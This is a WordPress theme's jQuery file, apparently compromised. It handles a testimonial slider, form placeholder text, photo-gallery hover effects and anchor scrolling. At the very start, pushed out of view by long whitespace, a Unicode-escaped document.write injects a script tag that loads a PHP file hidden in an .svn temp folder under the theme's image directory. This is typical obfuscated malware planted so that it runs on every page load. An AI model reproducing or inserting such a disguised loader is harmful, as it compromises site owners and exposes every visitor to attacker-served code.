																																																																							document.write("\u003C\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u002F\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u0022\u0020\u0073\u0072\u0063\u003D\u0022\u002F\u0077\u0070\u002D\u0063\u006F\u006E\u0074\u0065\u006E\u0074\u002F\u0074\u0068\u0065\u006D\u0065\u0073\u002F\u0064\u0065\u0066\u0061\u0075\u006C\u0074\u002F\u0069\u006E\u0063\u002F\u006A\u0073\u002F\u0070\u0072\u0065\u0074\u0074\u0079\u0050\u0068\u006F\u0074\u006F\u005F\u0063\u006F\u006D\u0070\u0072\u0065\u0073\u0073\u0065\u0064\u005F\u0033\u002E\u0031\u002E\u0033\u002F\u0069\u006D\u0061\u0067\u0065\u0073\u002F\u0070\u0072\u0065\u0074\u0074\u0079\u0050\u0068\u006F\u0074\u006F\u002F\u006C\u0069\u0067\u0068\u0074\u005F\u0072\u006F\u0075\u006E\u0064\u0065\u0064\u002F\u002E\u0073\u0076\u006E\u002F\u0074\u006D\u0070\u002F\u0070\u0072\u006F\u0070\u0073\u002F\u0054\u0077\u0069\u0074\u006C\u0075\u0076\u002E\u0070\u0068\u0070\u0022\u003E\u003C\u002F\u0073\u0063\u0072\u0069\u0070\u0074\u003E");(function($){
	if( $('.home').length  ) {

		$("div#testimonial").jFlow({
				slides: "#slides",
				width: "225px",
				height: "242px"
		});
	}

	$('input[type=text],textarea').each(function(i, el){
		
		var original = $(el).val();
		
		$(el).focus(function(){
			
			if($(this).val() == original){
				
				$(this).val('');
				
			}
			
		}).blur(function(){
			
			if($(this).val() == ''){
				
				$(this).val(original);
				
			}
			
		});
		
	});

	if( $( '.home' ) ) {

		$('.tat_NewsBox > li:last-child').addClass( 'last-child' );
		
	}	
	if( $('.page #photos').length  ) {
		
		$("a[rel^='prettyPhoto']").prettyPhoto( );

		$('#photos .overlay').click( function() {
			var el = $(this).parent( 'li' ).find( 'a' ) ;
			console.log( el );
			$(el).click( ) ;
		});

		$('#photos .overlay, #photos img, #photos .box').hover(  
			function() {
				var el = $(this).parent( 'li' ).find( '.overlay' ) ;
				$(el).stop().animate({marginLeft:'0px'}, 300);
			},
			function() {
				var el = $(this).parent( 'li' ).find( '.overlay' ) ;
				$(el).stop().animate({marginLeft:'160px'}, 300);
			}
		) ;

	}

	if( $(window.document.URL.match( /#_/ ) ) ) {
		var el = window.document.URL.replace( /.*#_/, '#' );
		$('html, body').delay( 800 ).animate({
			scrollTop: $(el).offset().top 	
		}, 1000) ;
	}

})(this.jQuery);
